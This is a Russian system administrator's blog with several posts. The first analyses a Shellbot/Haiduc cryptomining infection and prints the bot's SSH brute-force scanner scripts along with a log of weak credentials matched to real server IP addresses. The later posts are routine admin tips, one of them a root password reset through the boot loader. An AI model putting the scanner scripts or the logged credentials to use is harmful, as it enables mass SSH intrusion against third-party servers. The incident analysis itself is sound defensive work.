5 дек. 2019 г.

Немного про shellbot / haiduc.

Тут будет немного из практики, поскольку хорошие разборы в сети есть тут и тут, например.

Вкратце: Shellbot / Haiduc, майнит крипту на вашем сайте и, судя по тем библиотекам, что он натащил с собой про запас, умеет быть и шифровальщиком. Спокойно меняет сложные рутовые пароли.

Итак, дано: "Битрикс" на Centos6.
Замечена аномальная загрузка ЦП на виртуалке.
Идем копаться:

root@dev# top

... и все, на первый взгляд, в норме, но чудес-то не бывает.

root@dev# find / -mtime 3

и видим, помимо прочего лишнего, что кто-то копался в /usr/local.
Идем туда и видим некие директории: /usr/local/src/x/ , содержащую набор исполняемых файлов a, co, hu, r, range , директорию classes и базы данных. Подробнее (само собой, строки мной закомментированы):

nano /usr/local/src/x/a

#!/bin/bash
#passfile=pass
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc

nano /usr/local/src/co

#!/bin/bash
#passfile=pass
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc

/usr/local/src/x/hu

#./co Choopa
#./co Microsoft
#./co Digital
#./co Amazon
#./co Ubiquity
#./co Softlayer
#./co Hetzner

nano /usr/local/src/x/range

#!/usr/bin/env bash
  1. check for presence of parameter
    #if [ -z $1 ]; then
    echo "Usage: lbl filename"
    exit 1
    #fi
  2. read the file into an array of lines
    declare -a lines
    #let count=0
    #while read line; do
  3. lines[$count]=$line
  4. let count=count+1
    #done < "$1"
  5. iterate lines of the file
    #count=0
    #for line in "${lines[@]}"; do
  6. let count=count+1
  7. eval ./a "$line"
    #done

nano /usr/local/src/x/r

#!/bin/bash
  1. ToNy | Frauda
    #while [ "1" ];do
    #class="
    #168
    #"
#classb="`seq 1 255`"
#classb2=($classb)
#num_classb=${#classb2[*]}
#b=${classb2[$((RANDOM%num_classb))]}
#classc="`seq 1 255`"
#classc2=($classc)
#num_classc=${#classc2[*]}
#c=${classc2[$((RANDOM%num_classc))]}
#classes=($class)
#num_class=${#classes[*]}
#a=${classes[$((RANDOM%num_class))]}
#echo "scanez clasa ${a}.${b}"
#./a ${a}.${c}
#done

cd /usr/local/src/x/classes

ls

21vianet Amazon Choopa Cogeco GoDaddy internap-com Microsoft OVH Softlayer websitewelcome-com
Akamai Apple cloudflare_inc Digital Google Linode mix pair_networks Ubiquity Yahoo_inc
Alibaba big co facebook Hetzner liquid_web Online-SAS RockSpace Verizon

Вот такой отличный набор.

Там же в /usr/local/src и в /usr/cpu/ были директории ./x и /x, дублер имеющейся.
Также \usr\libexec\pt_chown - занятный новый файл.
Также \etc\ssh\sshd_config содержит ссылку на несуществующий файл \usr\libexec\sftp_server

Вот кусочек вывода gasite.txt:

daemon:smoker666 104.238.177.213 port: 22 --> Linux svr04 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64 GNU/Linux
daemon:smoker666 132.148.4.178 port: 22 --> Linux server.suninfocom.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86_64 G$
bin:smoker666 132.148.22.2 port: 22 --> Linux s132-148-22-2.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86$
daemon:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.82.60 port: 22 --> Linux s166-62-127-99.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x$
bin:smoker666 132.148.157.166 port: 22 --> Linux s132-148-157-166.secureserver.net 3.10.0-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 $
daemon:smoker666 203.124.57.87 port: 22 -->
Please login:
daemon:smoker666 37.148.231.186 port: 22 -->
COM

daemon:smoker666 37.148.231.186 port: 22 -->
Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038
Thursday 21/11/2019 12:24:44 (UTC+1.00)
Login:
bin:smoker666 37.148.230.236 port: 22 -->

login as:
bin:smoker666 37.148.230.236 port: 22 --> b

login as:
bin:smoker666 37.148.230.236 port: 22 --> in

password:
bin:smoker666 37.148.230.236 port: 22 --> *n

password:
bin:smoker666 37.148.229.186 port: 22 -->
COM

Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038

и так далее.

Зараза довольно активная, даже после смены паролей я обнаруживаю, что некто делал нечто под рутом. Неудивительно, так как судя по статьям, Shellbot эксплуатирует системные уязвимости (например, в Git-е).
Все бы ничего, но нельзя просто так взять и обновить ось, на которой крутится неновый "Битрикс" - sapienti sat.

Ставим rkhunter и таки да, имеем shellbot в системе.

"Закат солнца вручную" малоэффективен, вас будет регулярно ломать робот.
Обновляйтесь, делайте бэкапы и не открывайте наружу лишнего, особо советую пробрасывать порт 22 на нестандарт.
Похоже, продолжение следует...

4 июн. 2018 г.

NordVPN + pfsense - оптимальная связка для предприятия.

В свете последних событий в стране возникла рабочая необходимость в использовании VPN-сервиса.

Путем перебора остановились на NordVPN. Не реклама.
Плюсы:

  • скорость, пинги
  • выбор сервера с десктопа "на лету"
  • отличная документированность
  • готовые конфиги и великолепное приложение для Win / Mac
  • хорошая техподдержка

Из общих минусов почти всех сервисов:

  • PPTP как устаревший и небезопасный протокол снимается с поддержки
  • L2TP поддерживается также не всеми сервисами и не везде

То есть, с Микротиком будут, скорее всего, поблемы. А вот с pfsense их нет, при условии использования OpenVPN.

VPN для предприятия.


Используем NordVPN как провайдера и pfsense как шлюз.

Сначала покупаем подписку на NordVPN. Указываем адрес электронной почты и пароль, этого достаточно для регистрации. Почта и пароль подойдут любые живые.
Будьте внимательны, эти данные вам потом понадобятся как логин-пароль для самого VPN-сервиса.
















Если у вас еще нет pfsense, берем отсюда, устанавливаем и настраиваем. Я использовал ProxMox, но можно на любую физическую или виртуальную машину.

Далее действуем вот по этому мануалу, тут все подробно описано.

Настройка занимает до часа, в зависимости от производительности шлюза.

Следует помнить, что VPN - это шифрованное соединение. Если в канал у вас пойдут много пользователей, то он ляжет. В данном случае целесообразно:
  • заворачивать некритичный трафик в не-VPN сеть
  • использовать несколько аккаунтов плюс VLAN'ы
  • все вместе
Также NordVPN-ом заявлена поддержка аппаратных шлюзов и OpenWRT.

4 окт. 2017 г.

Ошибка веб-интерфейса FreePBX и как с ней бороться.



На днях при установке FreePBX 10-13-66 от Sangoma столкнулся с проблемой - веб-интерфейс вылетал с ошибкой дашборда и не подключался к Asterisk.

Помимо топиков тут и тут я методом научного тыка нашел причину ошибки и как ее (ошибку интерфейса) не допустить.

Итак, от правильной последовательности действий после установки зависит многое:

1. Начав установку, не выходите из консоли пока FreePBX не обновит модули. Это может занять довольно продолжительное время, но дождитесь приглашения залогиниться.

2. После приглашения консоли авторизоваться - авторизуйтеcь и наберите yum update.
Обновитесь.

3. После окончания обновления - добро пожаловать в веб-интерфейс.

4. Обновляем модули, перезагружаем сервис через веб-консоль core restart.

Если ошибка вылезла у вас в процессе эксплуатации - попробуйте сначала обновиться через консоль, а затем уже обновить модули через веб-интерфейс.

14 апр. 2017 г.

Ошибка Firefox "SEC_ERROR_UNKNOWN_ISSUER" или MOZILLA_PKIX_ERROR_KEY_PINNING_FAILURE

Столкнулся с интересной ошибкой Firefox.
При входе на https://некий_сайт вылезает ошибка следующего вида:

















При этом переход на сайт невозможен в принципе, нет даже ссылок/кнопок наподобие "я согласен" или "все равно перейти".

Решение есть вот тут (если связано с антивирусом, в моем случае нет) и тут самое рабочее.

Вкратце: повержден файл cert8.db
  • Чистим кэш Файрфокса.
  • В новой вкладке набираем about:support
  • Ищем кнопку и переходим в папку профиля.
  • Закрываем Файрфокс.
  • Удаляем файл cert8.db
  • Перезапускаем Файрфокс и радуемся жизни ))

Ссылки:
1. https://support.mozilla.org/t5/Firefox/MOZILLA-PKIX-ERROR-KEY-PINNING-FAILURE-unsecure-message/td-p/1329516
2. https://support.mozilla.org/t5/Устранение-проблем/Как-устранить-ошибку-с-кодом-quot-SEC-ERROR-UNKNOWN-ISSUER-quot/ta-p/36951#w_eset

30 янв. 2017 г.

Немного о итогах года +

Подитоги 2016 года.


По результатам полной замены ИТ-инфраструктуры на работе, имею честь доложить: решение ставить ProxMox вместо eSXI оказалось стратегически верным, с учетом реализованного "из коробки" функционала.
Описание установки и развертывания standalone и кластера из двух нод - в отдельном посте.




Наработалась рекомендованная связка из свободного ПО для маленьких и средних организаций:


Proxmox logo standard hex 400px

ProxMox VE как гипервизор.
Основное его преимущество перед eSXI (напомню, мы сравниваем бесплатные продукты) в том, что "из коробки" доступны автоматические бэкапы и нормальная кластеризация, если надо.
Ну и, конечно же, это нормальный Debian-based, старательно собранный трудолюбивыми немцами.
Отлично документирован.

pfsense logo
pfsense как шлюз, DHCP и VPN.
Нет, Mikrotik хорош, слов нет, но очень плохо и муторно умеет в OpenVPN. Особенно, когда надо связать филиалы.
Все-таки он надежнее всех, легче всех и богаче всех по оснащению.
Администрировать несложно, очень хорошо документирован.
Technical english required.


Картинки по запросу openmediavault logo

OpenMediaVault как сетевое хранилище пользовательских данных и бэкапов.
Самое удобное и нетребовательное к железу решение.
Была идея ставить Nexentastor Community, но оказалась требовательна к памяти в зависимости от количества хранимых данных, не пошло - не хватило аппаратных мощностей.







1С-Предприятие, куда же без него.
В случае, если у вас единственный сервер 1С, имеет смысл развёртывать в связке Windows 7 Pro / Windows Server 2008 или 2012 + Misrosoft SQL Express.

Postgres хорош, но бэкапы его на Windows средствами SQL - это ну очень долго и нудно.
Любителям Postgres имеет смысл посмотреть на Эффектор.Сейвер. Великолепная вещь, очень упрощает жизнь даже в бесплатной версии.

1С на Linux - работает отлично, но проблема с USB-ключами перечеркивает все плюсы.
Аппаратные ключи защиты на Linux отваливаются. Периодически и бессистемно.
Про костыли знаю, не помогают.
Либо работайте с программным ключом, либо переезжайте на Windows - повторюсь, это касается аппаратного ключа.
В случае, если SQL для 1С у вас отдельный сервер - имеет прямой смысл развернуть его на Linux и наслаждаться жизнью и бэкапами.

При недостатке средств на покупку Microsoft Server любителям работать в 1С через RDP поможет RDP Wrapper.
Важный момент - при использовании RDP wrapper обновляйтесь вручную, обновление Windows его затирает.

Позже добавлю про установку и запуск в работу всего перечисленного.

27 июл. 2016 г.

Если творятся мистические вещи в сети и на виртуалке *NIX,

проверьте:

  • свободное место на диске;
  • сам физический диск хоста на работоспособность и исправность.


Предыстория.


Позавчера и вчера шлюз на pfsense сошел с ума и все заверте...
Буквально.
Начали "мерцать" в сети виртуалки с 1С.
Начал бессистемно отваливаться OpenVPN.
Пропадал инет, при этом линк был на месте и пинги ходили.

Проверил свободное место на шлюзе и серверах - полно его. Подмонтированные шары также никуда не делись.
Место в хранилище на виртуальном хосте было с запасом.

Вот оно чо, Петрович...


Оказывается, сам "т.н. основной" физический диск на виртуальном хосте ESXI, оказывается, начал чудить.

Поскольку эта SSD-шка бывшим коллегой была включена в standalone (!),  пришлось мигрировать виртуалки на основной RAID-массив. Т.е. с datastore, допустим, 1 в datastore, допустим, 2.
Вот после этого все стало хорошо.
При анализе - в первом приближении - грешу пока на контроллер SSD HDD. Ошибки чтения/записи, задержки конские.
Вскрытие покажет.


Итог.


НИКОГДА не ставьте жесткие диски на виртуальный хост не в RAID. И друзьям запретите.
Конечно, СХД, кластер, миграция, бла-бла-бла... если есть бюджет. Сам знаю.
Но детских ошибок совершать не надо.

21 июл. 2016 г.

Ошибка при экспорте .ova / .ovf из VMWare в Virtualbox - решение.

Столкнулся с интересной штукой.

Нужно было выгрузить из ESXI 5.5.0 в Virtualbox виртуалку на 7 гиг (для Мака).
Выгружал темплейты в форматах .ova и .ovf.

При импорте уже в Virtualbox, в самом конце выдавалась следующая ошибка:

Не удалось импортировать конфигурацию /Volumes/f/имя_машины.ovf.
Could not verify the content of 'имя_машины.mf' against the available files (VERR_MANIFEST_FILE_MISMATCH).
Код ошибки: VBOX_E_FILE_ERROR (0x80BB0004)
Компонент: ApplianceWrap
Интерфейс: IAppliance {8398f026-4add-4474-5bc3-2f9f2140b23e}

Суть проблемы.


При экспорте из VMWare в формат .ovf создается папка, содержащая 4 файла: 
  • имя_машины-disk1.vmdk
  • имя_машины-file1.iso
  • имя_машины.ovf
  • имя_машины.mf
При экспорте в формат .ova мы видим всего один большой файл, но это суть архив, содержащий те же 4 файла. Его можно просто распаковать/открыть и редактировать.


Итак, смотрим файл с расширением .mf.
Этот файл (манифест) содержит контрольные суммы для верификации выгруженных файлов.
Он содержит в себе три (три, Карл!) записи SHA1 на файлы имя_машины-disk1.vmdk, имя_машины-file1.iso, имя_машины.ovf и все.

Почему же Virtualbox считает, что этого недостаточно?
Рискну предположить тупую вещь - поскольку в архиве либо папке 4 файла, наш Virtualbox пытается получить контрольную сумму на сам манифест. Поскольку справку на справку ему никто не дает, Virtualbox обижается и отказывается работать.
Грубейшая ошибка разработчиков, если это так.

Решение.


Смело удаляем файл с расширением .mf (из папки или из архива .ova) и успешно импортируем нашу виртуалку.

Вот как-то так...

20 июл. 2016 г.

AT команды для Hayes-совместимых модемов.

Полный оригинал статьи от Microsoft тут: https://support.microsoft.com/ru-ru/kb/164660


      %Cn : Enable/Disable Data Compression
   %En : Auto-Retrain control
   &Cn : DCD Control
   &Dn : DTR Option
   &Fn : Recall Factory Profile
   &Gn : Select Guard Tone
   &Jn : Telephone Jack Control
   &Kn : Data Flow Control
   &Qn : Communication (Sync/Async Mode)
   &Rn : RTS/CTS (Hardware) Flow Control
   &Tn : Test Mode
   &V  : View Configuration
   &Wn : Store User Profile
   &Yn : Default User Profile
   )Mn : Cellular Power Level Adjustment
   *Hn : Link Negotiation Speed
   +++ : Escape Sequence
   +MS : Select Modulation
   :En : Compromise Equalizer Setting
   ?   : Read Currently Selected S Register
   @Mn : Initial Cellular Power Level Setting
   \An : Select Maximum MNP Block Size
   \Bn : Transmit Break
   \Gn : Modem to Modem (Software) Flow Control
   \Ln : Select MNP Block/Stream Mode
   \Nn : Protocol Negotiation Selection
   A   : Answer
   A/  : Re-execute Command
   Bn  : CCITT or Bell Selection
   Cn  : Carrier Control
   Dn  : Dial
   En  : Command Echo
   Fn  : Select Modulation
   Hn  : Disconnect (Hang-up)
   In  : Identification
   Ln  : Speaker Volume
   Mn  : Speaker Control
   Nn  : Automode Enable (Automatic Line Speed Detection)
   On  : Return to Online Data Mode
   P   : Set Pulse Dial Default
   Qn  : Result Code On/Off
   Sn  : Select a Specific S Register
   Sn? : Read an S Register
   T   : Set Tone Dial Default
   Vn  : Result Code Format
   Wn  : Negotiation Progress (Connect Message) Control
   Xn  : Extended Result Code
   Yn  : Long Space Disconnect
   Zn  : Modem Reset
   Sn=x  : Write an S Register Value
   &Zn=x : Store Phone Number

19 апр. 2016 г.

Банальные советы практикующему админу, или хор баянистов на марше.

Старый добрый баян, который до сих пор имеет место быть (!) в четырех из пяти организаций.

1. Планируйте рабочий день.
Банально, но действенно.
Общайтесь с людьми, не стесняйтесь подстроить свой график под работу той же бухгалтерии или отдела продаж - в итоге вы успеете больше, а времени потратите меньше.
К тому же, адекватному, понимающему чужой график сотруднику охотнее идут навстречу.

2. ИТ-отдел - сервисное подразделение. Dixi.
Ваша задача - облегчать по возможности жизнь в компании касаемо работы людей с ИТ-инфраструктурой.
Короче - вы не должны быть источником проблем, вы должны быть их решением. В конце концов, за это вам платят.

3. Техника (и софт) работает так, как она(он) спроектирован(а) - а не так, как хочется людям.
Понимание этого момента сотрудниками компании избавит всех вас от взаимных недопониманий.
Мы переходим улицу на зелёный (в основном) и соблюдаем ПДД (в основном).
Автомобиль нуждается в заправке и ТО.
Аналогично - ИТ-инфраструктура нуждается в мониторинге и плановом ремонте.

4. Не беритесь не за своё дело.
Всегда есть соблазн "расширить квалификацию вбок" или подработать.
Поверьте, ремонт кондиционеров и перепайка неисправных схем - интересно, но это не то, что входит в круг ваших обязанностей. Разве что в виде исключения, но тут надо смотреть на конкретную ситуацию.
В итоге вам может не хватить времени на доводку своего участка работ, а дополнительные непрофильные обязанности плавно станут профильными.
Не перегружайтесь побочными занятиями.

5. Имейте минимально необходимый оперативный запас комплектующих для компьютеров и оргтехники.
Что чаще выходит из строя? Блоки питания, затем жесткие диски, реже оперативная память.
Горят свитчи и маршрутизаторы, точки доступа.
Вот это - пополняемый минимум, который нужно иметь на складе. Выбивайте.
Про периферию (клавиатуры, мыши) я не говорю - это само собой.

6. Имейте одну или несколько готовых рабочих станций в оперативном резерве - минимум на горячую подмену вышедшим из строя.
Хороший админ - предусмотрительный админ.

7. Имейте финансовый бюджет отдела - см. п.п. 5 и 6.

8. Обратная связь с пользователями должна быть обязательно.
Люди, как правило, не обращают внимания на мелкие неполадки - пока всё окончательно не выйдет из строя. То есть, пока не станет поздно.
Вариантов обратной связи масса - тупо почта, ICQ, тому подобное. Не вариант, разве что временно - та как вы сразу же захлебнетесь в потоке информации. И планировать работу не сможете.
Лучше всего - redmine и его аналоги. Там и задачи, и wiki, и почта.
Впрочем, вариантов масса.
Если речь о внедрении "с нуля" - наилучшая система именно та, которую вы уже знаете.

9. Не развешивайте "лапшу" из проводов.
Вроде бы банально, но увы - раз за разом одна и та же картина "апокалипсис среди бабушкиной пряжи".
Во-первых, сами наступите и оторвете.
Во-вторых, это просто некрасиво и непрофессионально.
В-третьих, через неделю не разберетесь в мешанине.
В-четвертых, придут другие люди и будут говорить много интересных слов (см. "во-вторых" и "в-третьих").

10. Маркируйте сеть.
Розетки, патч-корды, оптика - всё должно быть организовано и отмаркировано.
Нет, вы не запомните.
И по телефону вы коллеге тоже не объясните.
Он не телепат.
"Пять шагов на север от старой берёзы" - вы уверены, что это про ИТ-отдел?

11. Документируйте всё, что делаете.
Схема расстановки оборудования в серверной.
Схема кроссовой - вообще идеально.
Схема-эскиз ЛВС.
Физическая схема сети - шлюзы, маршрутизаторы, роутеры, серверы, телефония.
Логическая схема сети.
Не надо с точностью до миллиметра - надо, чтобы было понятно и актуально.
draw.io вам в помощь.


5 апр. 2016 г.

Удаление searchdts (угонщик сайтов и поиска).

Зараза та еще, даже интересно было.

Вкратце - эта штука перенаправляет поисковые запросы браузера (в моем случае Google Chrome) от любого поисковика - в моем случае - на поиск Rambler Nova.
То есть, сайты непосредственно Яндекса и Гугла открываются нормально, но любой запрос из поисковика (и из поисковой строки браузера) редиректится через прокси searchdts.ru%набор_символов% (имя не резолвится, кстати) на Rambler Nova.
Оставим за рамками поста вопрос этики поступков горе-оптимизаторов от Рамблера, послав им пламенный привет.

Зараза сия ставится обычно невнимательным пользователем, скачавшим софт с файлообменника или говноварезника - наподобие набившего оскомину хлама от Mail.ru (спутник, поиск, т.д.).
Пишет себя в том числе и в реестр (логи сканирования выложу сюда же днем).
Разумеется, запускает exe'шники в системе.
Помимо этого, срет во все папки Temp.
В расширениях Хрома отсутствовало в моем случае.

DrWeb CureIT успешно находит и удаляет зараженные файлы, но не сканирует реестр - как результат, не эффективен в данном случае.
Так называемый "Защитник Windows" (он же Security Essentials) абсолютно неэффективен, ноль реакции вообще.
Статистики по Eset и Kaspersky пока нет (дай б-г, чтобы и не было, тьфу-тьфу).

Нормально отработал только Malwarebytes Antimalware.
Рекомендую как лекарство от searchdts.

8 дек. 2015 г.

Nethasp для сервера 1С 8.3 на Debian - старые грабли о главном - обновлено.






Да, он все так же продолжает отваливаться.
Похоже, Aladdin (или уже Sentinel?) особо не спешит решать проблему с поддержкой своего софта отличными от Windows операционками.

Пост обновлен, добавлено немного о процессах hasd, hasplmd и неоднозначности инструкций  )

Что имеется.


Имеется сервер с уже установленным 1С 8.3 + postgresql: Debian 7, 32-разрядная, драйвера nethasp от Etersoft http://download.etersoft.ru/pub/Etersoft/HASP/last/.

ВАЖНО: nethasp 7.40 работать в данной связке не будет!
Ставить версию 3.3. То есть Debian 7 i386 = nethasp 3.3

Выяснено методом тыка: файлы haspd и hasplmd в директории /usr/sbin имели нестандартный (какой-то маленький) размер. Судя по всему, просто некорректно ставятся. Подробнее разбираться не было времени.

Решение.


В моем случае cron постоянно перезапускает проблемный сервис haspd. Варварски, зато работает.

Идем в директорию cron:

#cd /etc/cron.d
#touch /etc/cron.d/hasp.sh

пишем содержимое файла:

#!/bin/bash
if [ "`/usr/sbin/haspdemo | sed -n 's/^LOCALHASP_ISHASP.* \(\-\?[0-9]*\)$/\1/p'`" == "-100" ]; then service haspd $
else exit
fi

сохраняем файл, даем ему права на запуск для пользователей и групп, редактируем crontab:

crontab -e

пишем задание для cron:

*/1 *    * * *          /etc/cron.d/./hasp.sh
*/1 *    * * *          /etc/init.d/haspd start

Вторая строчка именно такая вот почему:

Преамбула: менеджер лицензий все так же отваливался, просто вырос период отключения.
После ввода service haspd restart ключа все так же не было видно.
История почти детективная.

Мы имеем ДВА, Карл, процесса haspd: в директории /usr/sbin и /etc/init.d
Так вот, процесс /etc/init.d/haspd просто умирал., от слова "совсем", так что /etc/init.d/haspd restart выдавал no such process и ничем нам помочь не мог.
А вот /etc/init.d/haspd start отлично работал, и ключ становился виден.

28 нояб. 2015 г.

Сброс пароля root на Debian Linux.

На основе этой статьи: http://netpoint-dc.com/blog/sbros-parolya-root-polzovatelya-v-os-linux/
Метод опробован и отлично работает.
Изображения оттуда же.

Итак, сам способ.

1. Перезагружаем ОС.

При загрузке (на этапе выбора ОС между нормальным режимом и recovery) нажимаем клавишу E (англ. раскладка).

Далее - в строке (как указано на картинке ниже) меняем -ro на -rw и дописываем в конце строки single init=/bin/bash и нажимаем CTRL+X.



ОС перезагрузится.
Теперь можно сменить пароль на root:

passwd root

Вводим пароль, повторяем ввод.
Готово.

31 мая 2015 г.

ZTE f660 от МГТС - печальные итоги.

Это не дыра - это огромная дырища в вашей безопасности.









1. При подключении Вам данного устройства использовались всего 3 или 4 пары логин/пароль ПО УМОЛЧАНИЮ НА ВСЮ МОСКВУ.

Их легко можно получить в едином контактном центре МГТС, просто позвонив туда.
Следовательно, если устройство было поставлено и эксплуатировалось "как есть" (не была сразу же по установке сменена пара логин/пароль), к нему с вероятностью 99,99% уже получен нежелательный доступ.
У меня, например, минимум один зловред для android - устал его уже гонять. Впрочем, Вы понимаете, что их может быть произвольное количество - ровно столько, сколько загрузят. Шифровальщики, кейлоггеры, банковские трояны, далее по списку. 

2. Роутер не позволяет без специализированных знаний данной аппаратуры и функционирования каналов связи обновить прошивку устройства.
Следовательно, придётся с этим жить - или ставить сразу же после него второй роутер с файрволлом и антивирусом и уже с него раздавать себе интернет.


3. Квартирная сигнализация от МОВО работает через телефонную линию МГТС. Которая с вышеозначенной вероятностью контролируется третьей стороной.


Нужны ещё подробности? Их давно уже есть вот тут: http://habrahabr.ru/post/188454/

3 мар. 2015 г.

Установка OpenMediaVault на Raspberry Pi.



Продолжаем мучить Raspberry Pi model B ))
Делаем файловый и медийный сервер из Raspberry Pi и флешки (можно и USB-HDD).

OpenMediaVault - хранилище файлов и мультимедиа-сервер с открытым исходным кодом. Основан на Debian.
Не так требователен к ресурсам и железу, как FreeNAS, OpenFiler и прочие.
Проще в настройке и не уступает вышеперечисленным в возможностях.
Имеются на борту: FTP, CIFS (Samba), NFS, DAAP медиасервер, RSYNC, ISCSI, BitTorrent клиент, другие вкусности.

Страница проекта: http://www.openmediavault.org/
Загрузить: http://www.openmediavault.org/download.html
Русскоязычный форум: http://homenas.ru/forum/

****************************memo************************************

Особенности при "взрослой" установке:
1. Программа умеет сама собирать программный RAID 0, 1, 5, 6.
2. Программа при установке займёт весь физический диск (не виртуальный mdX, а физический sdX) целиком. Отсюда следует п.3:
3. При установке софтового RAID-массива на Linux учтите:  OpenMediaVault его проигнорирует и "разберёт" ваш RAID.

Хорошая статья: http://habrahabr.ru/sandbox/77590/

*****************************\memo**********************************

В качестве хранилища файлов для нашего теста будем использовать обычную USB 2.0 флешку Kingston 16 GB, так как своей памяти на карте у нас всего 4 GB.
Кстати, OpenMediaVault имеет одну особенность: вы не сможете хранить файлы на том же диске, что используется для системы. Учтите это при планировании объёма хранилища (оптимально) или используйте установку на внешний носитель (нежелательно, так как ненадёжно).

Итак, приступим.

Берём образ OpenMediaVault для Raspberry Pi:
http://sourceforge.net/projects/openmediavault/files/Raspberry%20Pi%20images/

Актуальный релиз omv_1_12. Годится для Raspberry Pi и Raspberry Pi 2.

Аналогично тому, как ставили RasPBX здесь, с помощью "Win32 Disk Imager" записываем образ на SD-карту.

Загружаем систему, входим:

#root
#openmediavault



Меняем пароль на свой:

#passwd root
#вводим_наш_пароль
#повторяем_наш_пароль

Обновляем систему:

#apt-get update
#apt-get upgrade

По умолчанию мы получили адрес по DHCP. Узнаём его:

#ifconfig

Сменить адрес с DHCP на статику можно и сейчас, и потом - через веб-интерфейс.


Входим в веб-интерфейс по http:

Логин:  admin
Пароль: openmediavault



При необходимости обновляем систему.

Важный момент: моя флешка была в формате FAT32, поэтому, несмотря на корректные настройки системы, у меня не было возможности создавать и редактировать файлы - "требуется разрешение" и всё тут.

Поэтому:

Форматируем нашу флешку в ext4:

Входим через консоль:

#fdisk /dev/sda
#n
#указываем_начальный_блок  (следуйте подсказке)
#указываем_конечный_блок (следуйте подсказке)
#w

Находим наш диск в списке:


Монтируем его через меню:


Создаём общий каталог и проверяем права на него:


В разделе SMB/CIFS создаём общий ресурс (не забываем ставить галочку в "Guests Allowed" и разрешить вход пользователям с пустыми паролями):



Всё, сетевые ресурсы доступны.
На пробу можно войти через проводник Windows, создать-изменить-удалить файл.

Далее - настраиваем опции по нашему вкусу.

Всё, теперь у нас есть рабочий файловый и мультимедиа-сервер, состоящей из маленькой белой коробочки и флешки.

06.03.2015
UPD. Всё-таки не очень подходит Open MediaVault для Raspberry, регулярно - в среднем от часа - слетает ядро (kernel panic).
Видать, тяжеловат дистрибутив.
Будем разбираться.

Wi-Fi роутер сбрасывает соединение или не регистрирует клиента. Решение.

Решение проблемы - нужно ставить OpenWRT.



Есть такая проблема с недорогими роутерами. Через некоторое время - у меня где-то через год эксплуатации - начал своевольничать DLink DIR-300. Отказывался подключать домашние устройства, в работе безбожно падал уровень сигнала.

В подобном замечены мной роутеры Dlink, Asus, TP-Link. Скорее всего, список намного шире.

Эксперты грешат на ARP-таблицы и другие причины, тысячи их. Но нам-то с Вами нужно решение, а оно простое и быстрое: нужно ставить OpenWRT или иную подобную прошивку.

http://wiki.openwrt.org/doc/howto/user.beginner
http://wiki.openwrt.org/doc/howto/firstlogin
http://wiki.openwrt.org/toh/start
http://downloads.openwrt.org/
http://wiki.openwrt.org/doc/howto/basic.config

1. Выясняем наш чипсет (набор микросхем) - это принципиально.
Смотрим модель роутера (полностью, включая версию) и ищем его тут.

2. Скачиваем на компьютер нашу версию OpenWRT и распаковываем.

3. Подключаем роутер к компьютеру кабелем RJ-45. Логинимся в роутер, идём на вкладку "обслуживание" и выбираем пункт "обновить ПО".

Внимание: настройки соединения сбросятся к умолчаниям для OpenWRT.

Входим: http://192.168.1.1

По умолчанию логин: root, пароль пустой.


Далее - вводим наши настройки для WAN, LAN, беспроводной сети, DHCP. В общем, стандартно.

Теперь можно забыть про проблемы с соединением. Кстати, субъективно мощность беспроводного сигнала немного выросла.

Админы и так знают, но я повторюсь.
Часто небольшие организации используют в работе домашние роутеры.
Целесообразно, конечно, использовать устройства бизнес-класса. Но иногда покупка невозможна в силу разных причин, и вот в этом случае сразу ставьте OpenWRT. Как минимум - застрахуетесь от проблем с выходом в Интернет по вине устройства.
Да и вообще - из практики - проблем с девайсами, прошитыми OpenWRT, на несколько порядков меньше.

2 мар. 2015 г.

Гибридные и аналоговые АТС Panasonic - инструкции и программы, единый архив.














Разбирался в архивах, нашёл кое-что для работы с АТС Panasonic.

В архиве по ссылке:

- руководства пользователя по АТС Panasonic KX-TDA/TDE 100/200/600.
- руководства по вводу в эксплуатацию и настройке АТС Panasonic KX-TDA/TDE 100/200/600.
- руководства по программированию с системных телефонов АТС Panasonic KX-TDA/TDE 100/200/600.
- программа KX-TE maintenance console для TA/TE.
- программа PBX Unified Console для KX-TDA/TDE 100/200/600 (без лицензии).
- прочие руководства.

Загрузить архив с Google Drive (347 МБ).

21 февр. 2015 г.

Как отключить QIWI INFO на Билайне.




Если Вы разок оплатили что-нибудь с терминала QIWI, эти светлые личности автоматом подпишут Вас на услугу QIWI INFO.
UPD. Поставили таки возможность отписаться.
Теперь Вам будут приходить СМС от произвольной компании, купившей их партнёрку по рекламе. Это может быть кто угодно, поэтому не удивляйтесь странным предложениям.
Тако вот нехилый сельский бизнес в XXI веке.
Помимо этого, QIWI запомнит назначение платежа и будет присылать Вам о нём напоминалки.

Помимо того, что это, мыслю, околозаконно, ещё и достаёт со страшной силой.

Отключить это у "Билайна" так:


- берём короткий номер, с которого приходят СМС, и отправляем его на номер 1888.

Всё.



Немного о сервисе QIWI INFO, или почему это плохо для Вас.




